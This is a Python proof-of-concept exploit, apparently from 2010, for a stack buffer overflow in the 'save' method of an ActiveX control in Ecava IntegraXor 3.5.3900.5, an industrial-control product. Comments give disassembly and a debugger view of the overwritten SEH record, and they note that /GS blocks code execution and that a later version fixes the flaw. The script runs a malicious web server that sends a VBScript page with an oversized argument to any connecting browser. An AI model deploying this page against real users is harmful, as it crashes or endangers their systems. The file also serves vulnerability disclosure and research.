#!/usr/bin/python# intx.py# Ecava IntegraXor Remote ActiveX Buffer Overflow PoC# Jeremy Brown# December 2010# http://www.integraxor.com/## There is a stack-based buffer overflow in IntegraXor that can be triggered# by passing an overly large value to the "save" method of the IntegraXor.Project# control located in igcomm.dll. This control is marked both safe for scripting# and safe for initialization.## .text:100027C1 pusheax ; lpString2# .text:100027C2 lea eax, [esp+84Ch+String1]# .text:100027C6 pusheax ; lpString1# .text:100027C7 callds:lstrcpyW# .text:100027CD lea ecx, [esp+848h+String1]# .text:100027D1 pushecx# .text:100027D2 callSplitPath# .text:100027D7 add esp, 4# .text:100027DA lea ecx, [esp+848h+var_83C]# .text:100027DE callds:??0?$basic_string@_WU?$char<truncated># .text:100027E4 cmp dword ptr [esi+20h], 8# .text:100027E8 jbshort loc_100027EF# .text:100027EA mov esi, [esi+0Ch]# .text:100027ED jmp short loc_100027F2## The vulnerable code in this block passes String1 (dest) and lpString2 (src)# to lstrcpyW() without validating the length of lpString2. lstrcpyW() then# copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and# adds a terminating NULL byte to the end.## If you attach a debugger and set a breakpoint on 100027CD, you can see an# exception registration record is stored before the return address:## ESP+83C> 00420042B.B.Pointer to next SEH record# ESP+840> 00420042B.B.SE handler# ESP+844> FFFF0000..��# ESP+848> 10007916xxxxRETURN to igcom.10007916 from igcom.10002770## I wasn't able to find any useable unicode compatible PPRs. We can overwrite# the return address, but it will exit with a c0000409 code (/GS exception). ## Tested Ecava IntegraXor 3.5.3900.5 on Windows## Fixed version: 3.5.3900.10#
import sys
import socket
resp="""
<html>
<body>
<object id="target" classid="clsid:{520F4CFD-61C6-4EED-8004-C26D514D3D19}"></object>
<script language="vbscript">
data="IntegraXor"
filepath=String(1038,"B")
target.save data,filepath
</script>
</body>
</html>
"""
port=80
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("",port))
sock.listen(1)
conn,addr=sock.accept()
except IOError,e:
print e
print "Client at %s connected\n"%addr[0]
req=conn.recv(1024)
print "Sending data..."
conn.send(resp)
print "Done"
conn.close()
